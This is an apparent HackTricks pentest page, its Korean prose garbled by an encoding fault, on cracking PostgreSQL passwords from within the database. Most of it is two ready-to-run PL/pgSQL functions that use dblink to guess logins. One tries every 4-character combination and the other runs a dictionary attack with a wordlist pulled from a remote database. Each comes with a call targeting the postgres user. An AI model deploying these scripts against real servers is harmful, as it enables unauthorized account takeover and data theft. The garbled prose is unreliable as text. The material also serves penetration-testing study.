PL/pgSQL ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ธŒ๋ฃจํŠธํฌ์Šค

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์›๋ณธ ๋ฌธ์„œ์—์„œ ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์œผ์„ธ์š”.

PL/pgSQL์€ ๊ฐ•ํ™”๋œ ์ ˆ์ฐจ์  ์ œ์–ด๋ฅผ ์ œ๊ณตํ•˜์—ฌ SQL์˜ ๊ธฐ๋Šฅ์„ ๋„˜์–ด์„œ๋Š” ์™„์ „ํ•œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ๋ฃจํ”„ ๋ฐ ๋‹ค์–‘ํ•œ ์ œ์–ด ๊ตฌ์กฐ์˜ ํ™œ์šฉ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. PL/pgSQL ์–ธ์–ด๋กœ ์ž‘์„ฑ๋œ ํ•จ์ˆ˜๋Š” SQL ๋ฌธ ๋ฐ ํŠธ๋ฆฌ๊ฑฐ์— ์˜ํ•ด ํ˜ธ์ถœ๋  ์ˆ˜ ์žˆ์–ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ™˜๊ฒฝ ๋‚ด์—์„œ์˜ ์ž‘์—… ๋ฒ”์œ„๋ฅผ ๋„“ํž™๋‹ˆ๋‹ค.

์ด ์–ธ์–ด๋ฅผ ์•…์šฉํ•˜์—ฌ PostgreSQL์— ์‚ฌ์šฉ์ž ์ž๊ฒฉ ์ฆ๋ช…์„ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜๋„๋ก ์š”์ฒญํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์กด์žฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

๊ธฐ๋ณธ์ ์œผ๋กœ, ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์€ PUBLIC์—๊ฒŒ ๋ถ€์—ฌ๋œ ๊ถŒํ•œ์ž…๋‹ˆ๋‹ค, ์—ฌ๊ธฐ์„œ PUBLIC์€ ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‹œ์Šคํ…œ์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด, ๊ด€๋ฆฌ์ž๋Š” PUBLIC ๋„๋ฉ”์ธ์—์„œ USAGE ๊ถŒํ•œ์„ ์ฒ ํšŒํ•ด์•ผ ํ–ˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค:

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

๊ทธ ๊ฒฝ์šฐ, ์ด์ „ ์ฟผ๋ฆฌ๋Š” ๋‹ค๋ฅธ ๊ฒฐ๊ณผ๋ฅผ ์ถœ๋ ฅํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

๋‹ค์Œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ž‘๋™ํ•˜๋ ค๋ฉด dblink ํ•จ์ˆ˜๊ฐ€ ์กด์žฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CREATE EXTENSION dblink;

Password Brute Force

์—ฌ๊ธฐ 4์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ธŒ๋ฃจํŠธํฌ์Šค๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค:

//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

4์ž๋ฆฌ๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•˜๋Š” ๊ฒƒ์กฐ์ฐจ ๋ช‡ ๋ถ„์ด ๊ฑธ๋ฆด ์ˆ˜ ์žˆ์Œ์„ ์œ ์˜ํ•˜์„ธ์š”.

๋˜ํ•œ ๋‹จ์–ด ๋ชฉ๋ก์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ํ•ด๋‹น ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์‚ฌ์ „ ๊ณต๊ฒฉ):

//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ